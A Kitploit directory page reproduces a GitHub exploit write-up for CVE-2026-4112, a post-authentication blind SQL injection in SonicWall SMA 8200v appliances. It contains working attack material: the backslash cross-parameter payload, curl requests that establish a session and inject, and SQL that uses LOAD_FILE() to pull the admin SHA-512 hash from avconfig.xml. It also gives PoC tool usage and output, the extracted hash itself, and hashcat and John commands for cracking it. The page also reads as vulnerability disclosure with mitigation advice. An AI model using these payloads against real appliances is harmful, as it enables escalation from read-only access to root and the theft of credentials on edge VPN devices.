Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-4112 — Improper neutralization of special elements used in an SQL command (“SQL Injection”) in SonicWall SMA1000 series appliances allows a remote authenticated attacker with read-only administrator privileges to escalate privileges to primary administrator. | Kitploit
Tools/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4112
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubhann1bl3l3ct3r/cve-2026-4112

CVE-2026-4112

Improper neutralization of special elements used in an SQL command (“SQL Injection”) in SonicWall SMA1000 series appliances allows a remote authenticated attacker with read-only administrator privileges to escalate privileges to primary administrator.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
124 months agoNot yet reviewed

SonicWall SMA 8200v: Privilege Escalation via Cross-Parameter Blind SQL Injection

Firmware: 12.5.0-02283 (Platform Hotfix on 12.5.0-02002 Base)

SonicWall Advisory


1. Summary

A post-authentication blind SQL injection vulnerability in the SonicWall SMA 8200v management console (port 8443) allows any authenticated administrator — including low-privilege read-only accounts — to extract the primary administrator's SHA-512 password hash from the appliance configuration file. Because SonicWall uses the same credential for both the management console admin and the operating system root account, cracking this hash yields full root-level access to the appliance.

Classification: Privilege Escalation (Low-privilege admin to Root) CVSS 3.1: 7.2 (High) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Attack Complexity: Low (automated PoC completes extraction in ~60-90 minutes) Prerequisites: Any valid management console credential (including read-only accounts)


2. Affected Components


3. Vulnerability Details

3.1 Root Cause: Incomplete Input Sanitization in safeParam()

The management console constructs SQL queries for the Active Users dashboard using a helper method safeParam() in the class com.aventail.mgmt.sql.Sql. This method escapes single-quotes (') and double-quotes (") by doubling them, but it does not escape backslash characters (\).

In MySQL/MariaDB, a backslash is the default escape character inside string literals. The sequence \' causes the database to interpret the single-quote as a literal character rather than a string terminator. This means a backslash at the end of a parameter value will escape the closing quote that the application appends, causing the SQL string literal to extend into adjacent syntax.

Sanitization gap:

root@kitploit:~
Input:    test\
safeParam output: test\        (backslash NOT escaped)
In SQL:   ... rt.name='test\') AND (ct.name='...'
                           ^^ backslash escapes the closing quote

The closing ' after test\ is consumed as a literal quote character within the string, so the SQL string literal extends across the ) AND (ct.name=' boundary and into the next parameter's value, where attacker-controlled SQL can be injected.

3.2 Injection Mechanics: Cross-Parameter Technique

The activeUsers.action endpoint accepts multiple filter parameters that are interpolated into a single SQL WHERE clause. The relevant parameters are realmFilter and communityFilter, which appear in a query structured approximately as:

root@kitploit:~
SELECT ... FROM ...
WHERE ...
  AND (rt.name='<realmFilter>')
  AND (ct.name='<communityFilter>')
  ...

Attack parameter setup:

ParameterValuePurpose
realmFiltertest\Trailing backslash escapes the closing quote, extending the string literal across the AND boundary
communityFilter)) OR (SELECT IF(<condition>,SLEEP(N),0))-- xCloses the open parentheses, injects conditional SLEEP, comments out remainder

Resulting SQL after interpolation:

root@kitploit:~
WHERE ... AND (rt.name='test\') AND (ct.name='
   )) OR (SELECT IF(<condition>,SLEEP(N),0))-- x')

Breaking this down:

  1. rt.name='test\') — the \ escapes the ', so the string doesn't close here
  2. AND (ct.name=' — becomes part of the string value (literal text)
  3. The string finally closes at the next ' (from communityFilter's start)
  4. )) — closes the two open parentheses from the WHERE clause structure
  5. OR (SELECT IF(...)) — injects the blind SQLi condition
  6. -- x — comments out the remaining SQL (') and other clauses)

3.3 Time-Based Blind Extraction

Since the application's Struts 2 error handling catches SQL exceptions gracefully (always returning HTTP 200 with the same page content regardless of query success or failure), error-based and UNION-based extraction methods are not viable. The injection is exploited using time-based blind technique:

  • TRUE condition: IF(<condition>, SLEEP(N), 0) — response delayed by SLEEP duration multiplied by result set row count
  • FALSE condition: No SLEEP — response returns in ~200-500ms

The SLEEP function executes per-row in the WHERE clause evaluation. With a typical monitoring table containing 30-300+ rows, even a small SLEEP value (e.g., 0.3s) produces a clearly distinguishable delay (10-100s for TRUE vs. <1s for FALSE).

Each character of the target data is extracted via binary search over the ASCII range:

root@kitploit:~
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>

This requires a maximum of 7 requests per character (log2(128) = 7), yielding ~686 total requests for a 98-character SHA-512 hash.


4. Exploitation Chain

4.1 Overview

root@kitploit:~
                         PRIVILEGE ESCALATION CHAIN
 ============================================================================

  [1] Authenticate          Low-privilege admin (e.g., "readonly")
         |                  authenticates to management console on port 8443
         |                  using "Local Authentication" realm
         v
  [2] SQL Injection         Cross-parameter blind SQLi via activeUsers.action
         |                  realmFilter backslash + communityFilter payload
         |                  Condition: IF(<expr>, SLEEP(N), 0)
         v
  [3] LOAD_FILE()           MariaDB DbAdmin user has FILE privilege
         |                  secure_file_priv=NULL does NOT block reads
         |                  avconfig.xml is group-readable (mode 664)
         v
  [4] Locate Hash           LOCATE('consoleMode', file) anchors to admin section
         |                  LOCATE('<password>', file, anchor) finds hash element
         |                  SUBSTRING + SUBSTRING_INDEX extracts hash value
         v
  [5] Extract Hash          Binary search extracts hash char-by-char
         |                  ~98 chars * ~7 requests = ~686 requests
         |                  Output: $6$<salt>$<hash> (SHA-512 crypt)
         v
  [6] Crack Hash            hashcat -m 1800 / john --format=sha512crypt
         |                  Admin password = Root SSH password (by design)
         v
  [7] Full Compromise       SSH as root, management console as admin
                            Complete appliance takeover

4.2 Step 1: Authentication

The SMA management console supports two authentication realms:

Realm IDDisplay NameUsers
(empty)Management ConsolePrimary admin account only
AMCAuthRealm / Local AuthenticationLocal AuthenticationSecondary admin accounts (readonly, custom)

The attack requires only a valid credential for any account with management console access. The "readonly" account — intended for monitoring-only access with no configuration change capability — is sufficient.

Authentication is performed via J2EE FORM-based authentication:

  1. GET /console.action — retrieves login page, extract CSRF token from hidden form field
  2. POST /j_security_check — submit csrfToken, j_username, j_password, and realmId
  3. HTTP 303 redirect on success, JSESSIONID cookie established

4.3 Step 2: SQL Injection

After authentication, the attacker sends a POST request to /activeUsers.action with the cross-parameter injection:

root@kitploit:~
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded

realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter

The unconditional IF(1=1, SLEEP(0.3), 0) verifies the injection is functional by observing a measurable delay in the HTTP response.

4.4 Step 3: LOAD_FILE() Arbitrary File Read

The MariaDB database runs under the OS user DbAdmin (uid=1001, gid=500 aventail). This database user holds ALL PRIVILEGES ON *.* WITH GRANT OPTION, including the FILE privilege required for LOAD_FILE().

A critical finding: despite the MariaDB configuration setting secure_file_priv = NULL (which blocks INTO OUTFILE and INTO DUMPFILE write operations), the LOAD_FILE() function for reading files remains fully operational. This is a documented but poorly understood MariaDB behavior — secure_file_priv=NULL restricts file write paths but does not disable file reads when the user has the FILE privilege.

The target configuration file /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml is owned by mgmt-server:aventail with permissions 664 (rw-rw-r--). Since the DbAdmin OS user is in the aventail group, LOAD_FILE() can read this file.

Verification via blind SQLi:

root@kitploit:~
-- Check file is readable (non-NULL)
IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)<path hex>...) IS NOT NULL, SLEEP(0.3), 0)
-- TRUE: file is readable

4.5 Step 4: Locating the Admin Hash in avconfig.xml

The avconfig.xml file (~98KB) is the appliance's master configuration store. It contains all user credentials in SHA-512 crypt format within <password> XML elements. The primary admin hash is located in a <credentials_item> block near a <consoleMode> element that is unique to the admin section.

Rather than relying on hardcoded byte offsets (which would break if configuration above the admin section changes), the extraction uses MySQL string functions to dynamically locate the hash:

root@kitploit:~
SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE(<path>),
    LOCATE('<password>', LOAD_FILE(<path>),
      LOCATE('consoleMode', LOAD_FILE(<path>))
    ) + 10,                    -- skip past '<password>' tag (10 chars)
    120                        -- max SHA-512 crypt length
  ),
  '<',                         -- trim at '</password>' closing tag
  1
)

Logic:

  1. LOCATE('consoleMode', file) — finds the byte offset of the consoleMode string, anchoring to the admin configuration section
  2. LOCATE('<password>', file, anchor_offset) — finds the first <password> tag after that anchor
  3. SUBSTRING(file, tag_offset + 10, 120) — extracts the hash value (skipping the 10-char <password> tag)
  4. SUBSTRING_INDEX(result, '<', 1) — trims at the </password> closing tag

This approach is position-independent and resilient to configuration changes elsewhere in the file. The entire expression is encoded using MySQL hex literals (0x...) to avoid quoting issues within the injection context.

4.6 Step 5: Character-by-Character Hash Extraction

Each character of the hash is extracted via binary search:

root@kitploit:~
-- Is character at position P greater than midpoint M?
IF(ORD(SUBSTRING((<hash_expr>), <P>, 1)) > <M>, SLEEP(0.3), 0)

The binary search narrows the ASCII range [0, 127] by half with each request:

For the known admin hash ($6$WHTK8ybQ$MchVNW...), extraction of all 98 characters requires approximately 686 HTTP requests.

4.7 Step 6: Hash Cracking

The extracted hash is in standard SHA-512 crypt format:

root@kitploit:~
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
FieldValue
Algorithm — SHA-512 crypt
root@kitploit:~
# Hashcat
hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O

# John the Ripper
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash

4.8 Step 7: Full Compromise

The SonicWall SMA architecture uses the management console admin password as the OS root password. This is a design decision — when the admin password is set or changed through the management console, it is applied to both the web interface and the underlying Linux root account. Therefore, cracking the admin hash provides:

  • Management Console (port 8443): Full administrative access to all configuration, policies, user management, and monitoring
  • SSH (port 22): Root shell access to the underlying Debian Linux operating system
  • Serial Console: Root login for physical/out-of-band access

5. Contributing Factors

Multiple architectural decisions compound to make this vulnerability exploitable:

5.1 Incomplete SQL Sanitization

The safeParam() method in com.aventail.mgmt.sql.Sql escapes quotes but not backslashes. This is a well-known class of SQL injection — MySQL's backslash escape behavior has been documented as a security concern since the early 2000s. The fix is trivial: either escape backslashes (\ → \\), or set NO_BACKSLASH_ESCAPES SQL mode, or use parameterized queries.

5.2 Overprivileged Database User

The MariaDB DbAdmin user runs with ALL PRIVILEGES ON *.* WITH GRANT OPTION. This grants capabilities far beyond what the application requires, including:

  • FILE privilege (LOAD_FILE, INTO OUTFILE)
  • SUPER privilege
  • GRANT OPTION (can create new superuser accounts)

The application only needs SELECT/INSERT/UPDATE/DELETE on its own databases. The excessive privileges transform a SQL injection from data extraction to arbitrary file read/write.

5.3 secure_file_priv Misconfiguration

While secure_file_priv = NULL blocks file write operations (INTO OUTFILE, INTO DUMPFILE), it does not block file read operations (LOAD_FILE()). This is a documented MariaDB behavior that is frequently misunderstood. Administrators and developers often assume that secure_file_priv = NULL disables all file I/O, but it only restricts the write path.

To fully disable LOAD_FILE(), the FILE privilege must be revoked from the database user:

root@kitploit:~
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';

5.4 Sensitive Configuration File Permissions

The avconfig.xml file containing all password hashes is owned by mgmt-server:aventail with mode 664. The aventail group includes the DbAdmin OS user (under which MariaDB runs). This means the database process can read the appliance's master configuration file, including all stored credentials.

A more restrictive permission model (e.g., mode 600 owned by mgmt-server:mgmt-server, or storing hashes in a dedicated secrets file readable only by the management application) would prevent LOAD_FILE() from accessing the hashes even with the FILE privilege.

5.5 Shared Admin/Root Credential

The design decision to use the same password for the management console admin and the OS root account means that extracting the admin hash from the application layer directly yields operating system root access. This eliminates any boundary between the web application tier and the underlying operating system.

5.6 Read-Only Account Has Full SQLi Access

The "readonly" management console role is intended to provide monitoring-only access without configuration change capability. However, the activeUsers.action endpoint processes filter parameters identically for all authenticated users, regardless of role. The read-only account can execute the same SQL injection as the primary admin, because the vulnerability is in the data retrieval path (listing/filtering active users), not in a configuration change path.


6. Proof of Concept

6.1 Tool: sma_admin_hash_poc.py

A fully automated exploitation tool was developed and validated against the live target.

Usage (readonly account — proving privilege escalation):

root@kitploit:~
python3 sma_admin_hash_poc.py \
  -t 10.10.185.35 \
  --user readonly \
  --password <readonly_password> \
  --realm "Local Authentication" \
  -o admin.hash \
  -v

Execution phases:

  1. Phase 1: Authentication — Logs in with the specified credentials and realm, obtains JSESSIONID
  2. Phase 2: Verification — Confirms SQLi is functional (SLEEP timing), LOAD_FILE can read avconfig.xml, and the admin hash anchor is present
  3. Phase 3: Extraction — Binary search extracts the full SHA-512 hash character by character
  4. Phase 4: Output — Writes the hash in hashcat-ready format and prints cracking commands

Observed output:

root@kitploit:~
[*] Target: 10.10.10.35:8443
[*] User:   readonly
[*] Realm:  Local Authentication

[*] Phase 1: Authenticating to admin console...
[+] Authentication successful

[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml

[*] Phase 3: Extracting admin password hash...
    Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...

6.2 Manual Verification via curl

The injection can also be verified manually without the PoC tool:

root@kitploit:~
# Authenticate and obtain session cookie
curl -sk -c cookies.txt \
  "https://<target>:8443/console.action" | grep csrfToken

curl -sk -b cookies.txt -c cookies.txt \
  -d "csrfToken=<token>&j_username=readonly&j_password=<pass>&realmId=Local+Authentication" \
  "https://<target>:8443/j_security_check"

# Baseline request (no injection) — expect ~200ms
time curl -sk -b cookies.txt \
  -d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter" \
  "https://<target>:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

# Injected request (SLEEP 5 via subquery) — expect 10+ seconds
time curl -sk -b cookies.txt \
  --data-urlencode "realmFilter=test\\" \
  --data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x" \
  -d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter" \
  "https://<target>:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

6.3 Direct SQL Verification via MySQL CLI

With root SSH access, the SQL extraction expression can be verified directly:

root@kitploit:~
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248

-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
    LOCATE('<password>',
      LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
      LOCATE('consoleMode',
        LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
      )
    ) + 10,
    120
  ),
  '<',
  1
) AS admin_hash;

-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0

7. Impact Assessment

7.1 Direct Impact

ImpactDescription
ConfidentialityFull read access to all files readable by the aventail group, including configuration files, credentials, certificates, and keys

7.2 Attack Scenarios

Scenario 1: Insider Threat / Least Privilege Violation A read-only administrator (SOC analyst, auditor, junior engineer) with legitimate monitoring access escalates to full admin/root, bypassing all role-based access controls.

Scenario 2: Credential Compromise Escalation An attacker who obtains any management console credential (phishing, credential stuffing, default passwords) can escalate to root regardless of the compromised account's intended privilege level.

Scenario 3: Network Pivot Root access to the SMA appliance provides a persistent foothold at the network edge. The attacker can intercept VPN traffic, modify routing, access internal network segments, and extract all VPN user credentials from the configuration.


8. Recommendations

8.1 Immediate Mitigations

  1. Parameterized Queries: Replace string interpolation in safeParam() with prepared statements / parameterized queries throughout the management console's SQL layer. This eliminates the injection regardless of character escaping.

  2. Revoke FILE Privilege: Remove the FILE privilege from the DbAdmin database user:

    root@kitploit:~
    REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';
    FLUSH PRIVILEGES;
    
  3. Restrict Database Privileges: Apply least-privilege to DbAdmin — grant only SELECT, INSERT, UPDATE, DELETE on the specific databases the application requires (monitoring, scheduler, troubleshooting).

  4. Restrict avconfig.xml Permissions: Change file ownership and permissions to prevent the database user from reading the configuration:

    root@kitploit:~
    chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
    chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
    

8.2 Architectural Improvements

  1. Separate Admin and Root Credentials: Decouple the management console admin password from the OS root password. Use distinct credentials with independent change/rotation mechanisms.

  2. Role-Based Endpoint Access: Restrict the activeUsers.action endpoint (and all other data-querying endpoints) based on user role at the application layer, not just at the UI/menu level.

  3. SQL Mode Hardening: Set NO_BACKSLASH_ESCAPES in the MariaDB configuration to disable backslash escape interpretation globally:

    root@kitploit:~
    [mysqld]
    sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES
    
  4. Hash Storage Separation: Store password hashes in a dedicated file or database table that is not accessible to the general application database user, rather than in the main XML configuration file.


9. Timeline


10. References

  • MariaDB LOAD_FILE documentation: LOAD_FILE() requires FILE privilege; secure_file_priv restricts SELECT ... INTO but not LOAD_FILE()
  • MySQL backslash escape behavior: When NO_BACKSLASH_ESCAPES is not set, \ is treated as an escape character in string literals
  • SHA-512 crypt specification: $6$ prefix, configurable rounds (default 5000), 86-character Base64 hash output
  • Hashcat mode 1800: sha512crypt ($6$)
  • OWASP SQL Injection Prevention Cheat Sheet: parameterized queries as primary defense
Download Tool
ComponentDetails
PlatformSonicWall SMA 8200v (virtual appliance)
Firmware12.5.0-02283 (confirmed); likely all 12.x
ServiceManagement Console — Jetty + Struts 2 (port 8443)
EndpointPOST /activeUsers.action
Vulnerable ParametersrealmFilter, communityFilter (cross-parameter)
Root Cause Classcom.aventail.mgmt.sql.Sql.safeParam()
DatabaseMariaDB 10.11.14, user DbAdmin (ALL PRIVILEGES + FILE)
Target File/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
StepRangeTestResult
1[0, 127]> 63?TRUE → [64, 127]
2[64, 127]> 95?FALSE → [64, 95]
3[64, 95]> 79?FALSE → [64, 79]
............
7[n, n]convergedCharacter = chr(n)
$6$
SaltWHTK8ybQ
Rounds5000 (default, not specified)
Hashcat mode1800
John formatsha512crypt
Integrity
After hash cracking: full admin console access enables arbitrary configuration changes, policy modifications, and user management
AvailabilityRoot access enables service disruption, data destruction, or permanent device bricking
DateEvent
2026-02-24Cross-parameter SQLi identified via static analysis of safeParam()
2026-02-24Blind SQLi confirmed with admin session (SLEEP timing)
2026-02-25SQLi confirmed with readonly account (privilege escalation vector)
2026-02-25LOAD_FILE() confirmed operational despite secure_file_priv=NULL
2026-02-25avconfig.xml identified as credential store with admin/root hash
2026-02-25SQL extraction expression validated via MySQL CLI
2026-02-25Full automated extraction confirmed with PoC tool (sma_admin_hash_poc.py)
2026-02-25Privilege escalation chain validated: readonly -> admin/root hash